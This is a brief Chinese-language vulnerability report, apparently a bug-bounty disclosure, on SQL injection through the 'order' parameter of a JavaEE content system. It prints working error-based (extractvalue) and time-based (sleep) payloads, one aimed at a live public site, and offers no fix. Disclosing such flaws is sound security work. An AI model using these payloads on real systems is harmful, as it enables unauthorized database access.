公司最近javaee有业务只有提起手枪公关了，深得园长天天炫斗真传。

order注射不只这一处，用到order的基本都存在比如CommentAction里也是类似的注入点,这里就只写一处啦。

免费版跟商业版都存在，只是商业版没有_list后缀，官方关闭了调试盲注。

先注册一个用户

http://localhost:8080/JAVAEE/register.jsp

然后访问

http://localhost:8080/JAVAEE/member/creditlog_list.do?order=extractvalue(1,concat(0x7C,(select user()),0x7C))

官方关闭了调试，用sleep测试了下却是存在，只是映射的名称少了_list

http://www.freeteam.cn/member/creditlog.do?order=sleep(10)

修复方案：

你们是专业的，我是来打酱油的。
